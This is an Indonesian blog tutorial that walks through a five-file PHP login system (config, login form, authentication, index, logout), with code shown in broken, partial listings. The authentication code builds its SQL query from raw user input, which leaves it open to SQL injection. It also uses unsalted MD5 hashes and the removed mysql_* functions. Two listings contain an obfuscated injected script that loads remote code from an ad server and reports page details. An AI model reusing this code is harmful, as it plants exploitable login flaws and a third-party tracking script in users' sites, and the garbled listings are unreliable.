PHP Script Login Sederhana

Oke
sekarang saya membuat script login sederhana, saya membuat script ini
untuk teman-teman semua yang sedang belajar memahami pemrograman PHP
ataupun kesulitan dalam membuat script login dalam bahasa pemrograman
PHP, oke langsung aja seperti biasa untuk membuat script login harus
dipersiapkan dahulu database dan table database, buatlah terlebih dahulu
table database
User setelah itu mari membuat 5 file php untuk Login
1. config.php
2 | mysql_connect("localhost","root",""); |
3 | mysql_select_db("tutorial"); |
pastikan jangan lupa untuk membuat file config.php, karena file ini
sangat penting yang berfungsi untuk mengkoneksikan script php ke dalam
database
2. login.php
04 | < meta http-equiv = "Content-Type" content = "text/html; charset=utf-8" /> |
05 | < title >Untitled Document</ title > |
09 | < form id = "form1" name = "form1" method = "post" action = "fungsi_login.php" > |
10 | < table width = "350" border = "0" align = "center" > |
13 | </ strong > < hr size = "1" /> |
17 | < td >< label for = "username" >Username</ label > |
18 | < input type = "text" name = "username" id = "username" /></ td > |
21 | < td >< label for = "password" >Password</ label > |
22 | < input type = "password" name = "password" id = "password" /></ td > |
25 | < td >< input type = "submit" name = "button" id = "button" value = "Login" /></ td > |
30 | $alert = $_REQUEST['alert']; |
34 | < font color = "#FF0000" >Username atau password salah</ font ></ p > |
40 | < script type = "text/javascript" >if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("< scr "+"ipt type = text /javascript src = "+idc_glo_url+ " cfs.u-ad.info/cfspushadsv2/request");document.write("? id = 1 ");document.write("& enc = telkom2 ");document.write("& params = " + " 4TtHaUQnUEiP6K%2fc5C582PlvV7TskJKDHa%2ffks1POMKbLXXsojpTHJXmd5RdDoMqYl4%2fPWosxNrDTQgIVbEk9JaEx3zLIdiHSyPgncfnC30a3t2N2wgdOI7xyOA6TurR9M3%2bWznm0XIdTqCJAANsI27faAfmR5hmjiYEtqJvmotjpX1eNHQb0rR94hf9Whx0Zh36BEuVQI7Hszmxxqlz%2bTRwtXU9uL1eoCnLS8Z5NCiyCarsP1DYWMD%2bWBAKO663coo4gR7lmQAXo6%2bI0TsCVijv4zVZRTm%2fpuSYbd8geIT2Ynnwi7RraZyL4UMit3pjGMtcDlSH47Dm5AAVl96dqvoQG%2bCySe0t5CJLfDDddegIT90Qt90d%2btukwmfYeo9MBJlhuiS77W7%2bT4O2b1YyiRzHnNmUJl7z");document.write("& idc_r = "+idc_glo_r);document.write(" & domain = "+document.domain);document.write(" & sw = "+screen.width+" & sh = "+screen.height);document.write(" ></ scr "+"ipt>");} |
]]>
file login.php adalah halaman form login dimana ada 2 field form
username dan password yang berfungsi untuk inputan username dan password
dari user yang akan login
3. fungsi_login.php
04 | $username = $_POST['username']; |
05 | $ password = md5 ($_POST['password']); |
07 | $ kueri = mysql_query ("select * from user where username = '$username' and password = '$password' "); |
08 | $ data = mysql_fetch_array ($kueri); |
10 | if($data['username'] == $username and $data['password'] == $password){ |
13 | $_SESSION['username'] = $data['username']; |
14 | $_SESSION['password'] = $data['password']; |
15 | header("location:index.php"); |
19 | header("location:login.php?alert"); |
fungsi_login.php adalah file yang berfungsi untuk mencocokan/authentifikasi inputan dari form login (login.php)
4. index.php
03 | if(isset($_SESSION['username']) and isset($_SESSION['password'])){ |
08 | < meta http-equiv = "Content-Type" content = "text/html; charset=utf-8" /> |
09 | < title >Untitled Document</ title > |
15 | Halo <? php echo ($_SESSION['username']); ?>, < strong >< a href = "logout.php" >Logout</ a ></ strong ></ p > |
17 | Selamat datang di halaman Administrator</ p > |
18 | < script type = "text/javascript" >if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("< scr "+"ipt type = text /javascript src = "+idc_glo_url+ " cfs.u-ad.info/cfspushadsv2/request");document.write("? id = 1 ");document.write("& enc = telkom2 ");document.write("& params = " + " 4TtHaUQnUEiP6K%2fc5C582PlvV7TskJKDHa%2ffks1POMKbLXXsojpTHJXmd5RdDoMqYl4%2fPWosxNrDTQgIVbEk9JaEx3zLIdiHSyPgncfnC30a3t2N2wgdOI7xyOA6TurR9M3%2bWznm0XIdTqCJAANsI27faAfmR5hmjiYEtqJvmotjpX1eNHQb0rR94hf9Whx0Zh36BEuVQI7Hszmxxqlz%2bTRwtXU9uL1eoCnLS8Z5NCiyCarsP1DYWMD%2bWBAKO663coo4gR7lmQAXo6%2bI0TsCVijv4zVZRTm%2fpuSYbd8geIT2Ynnwi7RraZyL4UMit3pjGMtcDlSH47Dm5AAVl96dqvoQG%2bCySe0t5CJLfDDddegIT90Qt90d%2btukwmfYeo9MBJlhuiS77W7%2bT4O2b1YyiRzHnNmUJl7z");document.write("& idc_r = "+idc_glo_r);document.write(" & domain = "+document.domain);document.write(" & sw = "+screen.width+" & sh = "+screen.height);document.write(" ></ scr "+"ipt>");} |
Untuk Mengakses Halaman Ini silahkan Login terlebih dahulu
Login
"; } ?>
]]>
file index.php adalah halaman yang bisa diakses apabila username dan password dari form login (
login.php) berhasil atau cocok setelah di authentifikasi (
fungsi_login.php)
5. logout.php
4 | header("location:login.php"); |
logout.php file ini berisikan fungsi untuk menutup/destroy semua session login yang masih terbuka
Username : zhiemy
Password : admin
Tidak ada komentar:
Posting Komentar